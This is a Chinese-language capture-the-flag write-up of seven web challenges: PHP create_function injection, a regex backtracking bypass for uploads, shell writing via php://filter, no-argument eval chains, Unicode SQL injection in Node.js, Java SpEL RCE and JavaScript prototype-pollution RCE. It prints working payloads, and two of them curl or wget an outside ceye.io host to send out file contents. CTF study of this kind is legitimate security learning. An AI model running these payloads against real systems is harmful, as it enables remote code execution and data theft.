0x01 easy - function
题目
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
解题思路
出现
??
即NULL合并运算符
,所以是php7环境看着像
create_function
代码执行,注意两点:i. 正则匹配
ii. create_function中的闭合正则通过fuzz来试试怎么能绕过,发现
\
可以<?php $a = '~!@#$%^&*()-=_+\\?/\'">.,<'; for($i=0;$i<strlen($a);$i++){ echo "[-]trying: ".$a[$i]."\n"; $c = $a[$i]."create_function"; if (function_exists($c)){ echo "[!]--------find: ".$a[$i]."\n"; } }; ?>
payload
i. 列目录文件(比较菜,不知道怎么直接来)
?action=\create_function&arg=2;}$d=dir("/var/www/");while(($file=$d->read())!=false){echo"filename:".$file."
";}/* // 更新两种方法 scandir(dir) glob(dir)ii. flag
?action=\create_function&arg=2;}var_dump(readfile("/var/www/flag_h0w2execute_arb1trary_c0de"));/*
参考资料
0x02 easy - pcrewaf
题目
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
解题思路
主要就是绕过php文件内容的正则判断
由于正则使用非贪婪模式,当文件内容过大时即匹配无效,构造一个超大文件即可
payload(一句话没试成功…Orz)
<?php echo "----start----</br>";var_dump(file_get_contents("../../../flag_php7_2_1s_c0rrect"));echo "</br>----end----";/*aaa...*/
参考资料
0x03 easy - phpmagic
题目
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">
<title>Domain Detail</title>
<style>
pre {
width: 100%;
background-color: #f6f8fa;
border-radius: 3px;
font-size: 85%;
line-height: 1.45;
overflow: auto;
padding: 16px;
border: 1px solid #ced4da;
}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col">
<form method="post">
<div class="input-group mt-3">
<div class="input-group-prepend">
<span class="input-group-text" id="basic-addon1">dig -t A -q</span>
</div>
<input type="text" name="domain" class="form-control" placeholder="Your domain">
<div class="input-group-append">
<button class="btn btn-outline-secondary" type="submit">执行</button>
</div>
</div>
</form>
</div>
</div>
<div class="row">
<div class="col">
<pre class="mt-3"><?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?></pre>
</div>
</div>
</div>
</body>
</html>
解题思路
注意的有三点
i. dig 查询 A 记录并保存为文件内容
ii. 文件名前部分使用$_SERVER[‘SERVER_NAME’]
iii. log_name 后缀检测需要绕过发现查询 A 记录的命令内容中返回有 CNAME(在 OSX 和 Kali 上都没有能返回 CNAME 记录呢?)
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q test.xxx.com ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 47822 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;test.xxx.com. IN A ;; ANSWER SECTION: test.xxx.com. 600 IN CNAME pd9wahagzxzhbcgkx0dfvftjxsk7pz4k.com. ;; AUTHORITY SECTION: com. 600 IN SOA a.gtld-servers.net. nstld.verisign-grs.com. 1543723372 1800 900 604800 86400 ;; Query time: 750 msec ;; SERVER: 127.0.0.11#53(127.0.0.11) ;; WHEN: Sun Dec 02 04:03:24 UTC 2018 ;; MSG SIZE rcvd: 153
题中使用$_SERVER[‘SERVER_NAME’]且非80端口,则可通过修改host header控制(Host 不能为空)
Host: xxx >>> $_SERVER['SERVER_NAME']=xxx
log_name 的检测绕过可以使用大小写,但是服务器不解析
如果我们传入的是文件名中包含一个不存在的路径,写入的时候因为会处理掉”/.” “/..”等相对路径,所以不会出错
根据参考资料3上述提到的方法进行绕过
domian=test.xxx.com&log=1.php/.
整理一下
i. 查询的值其实也会在页面中出现,部分内容可控
ii. 脚本将查询A记录内容放入log中,但是同时有 CNAME 记录,后者可自定义程度比前者要高
iii. 文件名通过$_SERVER['SERVER_NAME']
和$_POST['log']
拼接,两者均可控,文件后缀可控
iv. file_get_contents支持php伪协议payload
payload直接填充domain或添加到CNAME中 -> 利用php:// base64解析 -> 控制文件名生成shell
POST / HTTP/1.1 Host: p domain=PD9waHAgdmFyX2R1bXAocmVhZGZpbGUoJF9HRVRbImMiXSkpOyA/PiAK&log=hp://filter/convert.base64-decode/resource=1.php/.
很凑巧,不至于太长导致无响应内容,且响应内容很短
; <<>> DiG 9.9.5-9+deb8u15-Debian <<>> -t A -q PD9waHAgdmFyX2R1bXAocmVhZGZpbGUoJF9HRVRbImMiXSkpOyA/PiAK ;; global options: +cmd ;; connection timed out; no servers could be reached
访问
/1.php?c=../../../flag_phpmag1c_ur1
emmmmm,阿里云不允许 CNAME 采用大写,莫非自己建个 DNS ?这种方法先放着 Orz…
参考资料
- http://shiflett.org/blog/2006/server-name-versus-http-host
- https://www.cnblogs.com/52php/p/5670054.html
- http://www.am0s.com/functions/386.html
- https://lorexxar.cn/2016/09/14/php-wei/
0x04 easy - phplimit
题目
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
解题思路
正则使用递归匹配,那就表明code后面就需要使用
phpinfo();
这种无参函数;或者需要的参数也使用类似的无参函数来获取填充比如var_dump(scandir(getcwd()));
经过搜索后,发现
get_defined_vars
函数此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
利用code构造一个执行函数,参数通过其他方式传入,比如$_GET
payload
?code=eval(next(current(get_defined_vars())));&cc=var_dump(readfile("../flag_phpbyp4ss")); // 或者直接用一个打,因为同目录下文件比较少,不然也没法一次 next 到 ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
类似函数还有
func | 说明 |
---|---|
get_headers(string $url [, int $format = 0 ]) |
自 PHP 5.1.3 起本函数使用默认的流上下文,其可以用 stream_context_get_default() 函数设定和修改。 |
getenv(string $varname [, bool $local_only = FALSE]) |
5.5.38, 5.6.24, 7.0.9 添加 local_only 参数。 |
getenv(void) |
7.1.0 现在可以省略 varname 来检索所有环境变量的关联数组 array。 |
… | … |
参考资料
0x05 easy - nodechr
题目
// initial libraries
const Koa = require('koa')
const sqlite = require('sqlite')
const fs = require('fs')
const views = require('koa-views')
const Router = require('koa-router')
const send = require('koa-send')
const bodyParser = require('koa-bodyparser')
const session = require('koa-session')
const isString = require('underscore').isString
const basename = require('path').basename
const config = JSON.parse(fs.readFileSync('../config.json', {encoding: 'utf-8', flag: 'r'}))
async function main() {
const app = new Koa()
const router = new Router()
const db = await sqlite.open(':memory:')
await db.exec(`CREATE TABLE "main"."users" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"username" TEXT NOT NULL,
"password" TEXT,
CONSTRAINT "unique_username" UNIQUE ("username")
)`)
await db.exec(`CREATE TABLE "main"."flags" (
"id" INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
"flag" TEXT NOT NULL
)`)
for (let user of config.users) {
await db.run(`INSERT INTO "users"("username", "password") VALUES ('${user.username}', '${user.password}')`)
}
await db.run(`INSERT INTO "flags"("flag") VALUES ('${config.flag}')`)
router.all('login', '/login/', login).get('admin', '/', admin).get('static', '/static/:path(.+)', static).get('/source', source)
app.use(views(__dirname + '/views', {
map: {
html: 'underscore'
},
extension: 'html'
})).use(bodyParser()).use(session(app))
app.use(router.routes()).use(router.allowedMethods());
app.keys = config.signed
app.context.db = db
app.context.router = router
app.listen(3000)
}
function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
async function static(ctx, next) {
await send(ctx, ctx.path)
}
async function admin(ctx, next) {
if(!ctx.session.user) {
ctx.status = 303
return ctx.redirect(ctx.router.url('login'))
}
await ctx.render('admin', {
'user': ctx.session.user
})
}
async function source(ctx, next) {
await send(ctx, basename(__filename))
}
main()
解题思路
- 很明显是登录有注入,关键函数
safeKeyword
,在验证过后又会对输入toUpperCase
- 想办法对大前不敏感,大写后敏感,用P牛的脚本fuzz一下(查了后才知道js内部使用utf-16)
utf-16 | uppercase | lowercase | unicode | url encode |
---|---|---|---|---|
ı | I | 305 | %C4%B1 | |
ſ | S | 383 | %C5%BF | |
K | k | 8490 | %E2%84%AA |
弱口令admin/admin登录,可知username回显
payload
POST /login/ HTTP/1.1 username=1&password=' unıon ſelect 1,(ſelect flag from flags)=1,'3
参考资料
- https://segmentfault.com/a/1190000006960642
- https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
- https://www.compart.com/en/unicode/
0x06 medium - javacon
题目
解题思路
主要问题在于以下两个地方,一个是如果
Cookie:remember-me
存在则会存入session并调用spel解析值@GetMapping public String admin(@CookieValue(value = "remember-me", required = false) final String rememberMeValue, final HttpSession session, final Model model) { if (rememberMeValue != null && !rememberMeValue.equals("")) { final String username = this.userConfig.decryptRememberMe(rememberMeValue); if (username != null) { session.setAttribute("username", (Object)username); } } final Object username2 = session.getAttribute("username"); if (username2 == null || username2.toString().equals("")) { return "redirect:/login"; } model.addAttribute("name", (Object)this.getAdvanceValue(username2.toString())); return "hello"; } // Pattern.compile 里的 34(flags参数) 可在 IDE 中查看详情 private String getAdvanceValue(final String val) { for (final String keyword : this.keyworkProperties.getBlacklist()) { final Matcher matcher = Pattern.compile(keyword, 34).matcher(val); if (matcher.find()) { throw new HttpClientErrorException(HttpStatus.FORBIDDEN); } } final ParserContext parserContext = (ParserContext)new TemplateParserContext(); final Expression exp = this.parser.parseExpression(val, parserContext); final SmallEvaluationContext evaluationContext = new SmallEvaluationContext(); return exp.getValue((EvaluationContext)evaluationContext).toString(); }
主要就是绕黑名单实现解密、解析后的代码执行
黑名单使用拼接字符串即可绕过
// 正常的反射流程 Method m1 = java.lang.Class.forName("java.lang.Runtime").getMethod("exec", String.class); Method m2 = Class.forName("java.lang.Runtime").getMethod("getRuntime"); Object c1 = m2.invoke("java.lang.Runtime"); Object c2 = m1.invoke(c1, "curl www.google.com"); // 拼凑完整的payload Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),"curl www.google.com");
payload
需要注意base64命令后面需要转换
\n
,否则接收的结果不全RFC2045中有规定:
The encoded output stream must be represented in lines of no more than 76 characters each.
Base64一行不能超过76字符,超过则添加回车换行符。
Linux为
\n
OSX里为\r
// #{T(Class).forName("java.la"+"ng.Runt"+"ime").getMethod("e"+"xec", T(String[])).invoke(T(Class).forName("java.la"+"ng.Runt"+"ime").getMethod("getRu"+"ntime").invoke(T(Class).forName("java.la"+"ng.Runt"+"ime")), new String[]{"/bin/bash","-c","curl xxxx.ceye.io/`ls|base64|tr '\\n' '-'`"})} System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef","#{T(Class).forName(\"java.la\"+\"ng.Runt\"+\"ime\").getMethod(\"e\"+\"xec\", T(String[])).invoke(T(Class).forName(\"java.la\"+\"ng.Runt\"+\"ime\").getMethod(\"getRu\"+\"ntime\").invoke(T(Class).forName(\"java.la\"+\"ng.Runt\"+\"ime\")), new String[]{\"/bin/bash\",\"-c\",\"curl xxxx.ceye.io/`cat flag_j4v4_chun|base64|tr '\\n' '-'`\"})}"));
将加密后的payload替换到登录后的cookie中(弱口令admin/admin),刷新页面即触发
参考资料
0x07 hard - thejs
看过原型链污染攻击,但是没有实践过,还是看这位师傅的wp才想起来。
根据wp分析下。
题目
解题思路
通过参考资料1快速了解下prototype
function Foo() {...}; let f1 = new Foo();
merge的利用主要是创建、覆盖 Object 下的变量,代码涉及回调+深度遍历,跟着看了一上午,整个人要疯了
因为服务器预期language为 Array,直接使用
__proto__
会指向Array.prototype
导致无法并入 Object所以构造 Payload 可以通过以下两种方式
//通过 Array.__proto__.__proto__ {"language":{"__proto__":{"__proto__"}}} //通过 Array.Object.__proto__ {"language":{"randomword":{"__proto__"}}}
在渲染页面前,express会将传递的参数放入options中,在node_modules/express/lib/application.js:554中合并到renderOptions中
// merge options merge(renderOptions, opts); // function `merge` source exports = module.exports = function(a, b){ if (a && b) { for (var key in b) { a[key] = b[key]; } } return a; };
但是在这里会将
__proto__
下的变量也加入到options中,这样就能控制渲染页面中的变量了例如在
__proto__
下添加val1=xxx
,遍历b中的key可见val1出现> for(var i in b){console.log(i)} language category _locals val1
接着就要去找代码执行的点,在渲染时会将sourceURL直接拼接到页面中,但前面有个注释,通过
\n
就可以bypass掉,之后就是代码执行了var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });
payload
{"language":{"payload":{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('wget xxxx.ceye.io/$(cat /flag_thepr0t0js|base64|tr \"\\n\" \"-\")')"}}}}
受影响的库
i. Merge
Package | Funtion | Fixable |
---|---|---|
hoek | hoek.merge | Fixed in version 4.2.1 |
hoek.applyToDefaults | Fixed in version 5.0.3 | |
lodash | lodash.defaultsDeep | Fixed in version 4.17.5 |
lodash.merge | ||
lodash.mergeWith | ||
lodash.set | ||
lodash.setWith | ||
merge | merge.recursive | |
defaults-deep | defaults-deep | Fixed in version 0.2.4 |
merge-objects | merge-object | |
assign-deep | assign-deep | Fixed in version 0.4.7 |
merge-deep | merge-deep | Fixed in version 3.0.1 |
mixin-deep | mixin-deep | Fixed in version 1.3.1 |
deep-extend | deep-extend | |
merge-options | merge-options | |
deap | deap.extend | Fixed in version 1.0.1 |
deap.merge | ||
deap | ||
merge-recursive | merge-recursive.recursive |
ii. Clone
Package | Funtion | Fixable |
---|---|---|
deap | deap.clone | Fixed in version 1.0.1 |
iii. Property definition by path
Package | Funtion |
---|---|
lodash | lodash.set |
lodash.setWith | |
pathval | pathval.setPathValue |
pathval | |
dot-prop | dot-prop.set |
dot-prop | |
object-path | object-path.withInheritedProps.ensureExists |
object-path.withInheritedProps.set | |
object-path.withInheritedProps.insert | |
object-path.withInheritedProps.push | |
object-path |